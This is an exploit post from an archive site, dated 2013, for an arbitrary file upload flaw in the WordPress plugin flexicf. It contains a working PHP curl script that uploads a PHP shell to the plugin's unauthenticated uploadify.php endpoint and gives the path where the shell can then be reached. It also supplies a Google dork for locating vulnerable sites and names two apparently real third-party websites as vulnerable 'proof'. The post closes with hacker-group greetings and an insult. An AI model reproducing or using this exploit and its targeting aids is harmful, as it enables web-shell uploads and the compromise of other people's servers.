facebook facebook twitter rss

Wordpress Plugins flexicf Arbitrary File Upload Vulnerability

Author: Gastro-Dz , Published: 27-01-2013
-------------------------------------------------------------------------------
Wordpress Plugins flexicf Arbitrary File Upload Vulnerability
--------------------------------------------------------------------------------


############################################################################
# Author : Gastro-Dz #
# Date : 27/01/2013 #
# Facebook => http://fb.me/Gastr0 #
# Vandor : N/a #
# Google Dork => inurl:/plugins/flexicf/ #
# Tested on : Windows 7 , Kubuntu 11.0.4 #
############################################################################

Exploit : uploadshell.php

<?php
 
$uploadfile
="Gastro.php";
$ch curl_init("http://localhost/wordpress/wp-content/plugins/flexicf/js/uploadify/uploadify.php");
curl_setopt($chCURLOPT_POSTtrue);
curl_setopt($chCURLOPT_POSTFIELDS,
              array(
'Filedata'=>"@$uploadfile",
              
'folder'=>'/wordpress/wp-content/plugins/flexicf/js/uploadify/'));
curl_setopt($chCURLOPT_RETURNTRANSFER1);
$postResult curl_exec($ch);
curl_close($ch);
 
  print 
"$postResult";
?> 


Shell Access : http://localhost/wordpress/wp-content/uploads/wp-checkout/uploadify/random_numberGastro.php
-------------------
<?php
phpinfo
();
?>

------------------------------

[#] Proof :

http://www.tritanu.com/wp-content/plugins/flexicf/js/uploadify/uploadify.php
http://egorilla.net/wp-content/plugins/flexicf/js/uploadify/uploadify.php

[#] Greeting ####################################################################################################################################################
#
EvilDz - Hacker-1420 - Jago-dz - DamaneDz - Th3 killer Dz - HTC28DZ - Oxyl - Over-x - hacker-fire #
foolox - the viper L3b r1'Z - EliteTrojan - Vikram & Dz-root.com & Sec4ever.com #
#################################################################################################################################################################
Special Fuck to : Fucking Fayzon or i dont konw who is this noob who steal my vulns #
#################################################################################################################################################################

------------------------------ The End ------------------------------------------------------------------------------------------------------------

Like us on Facebook :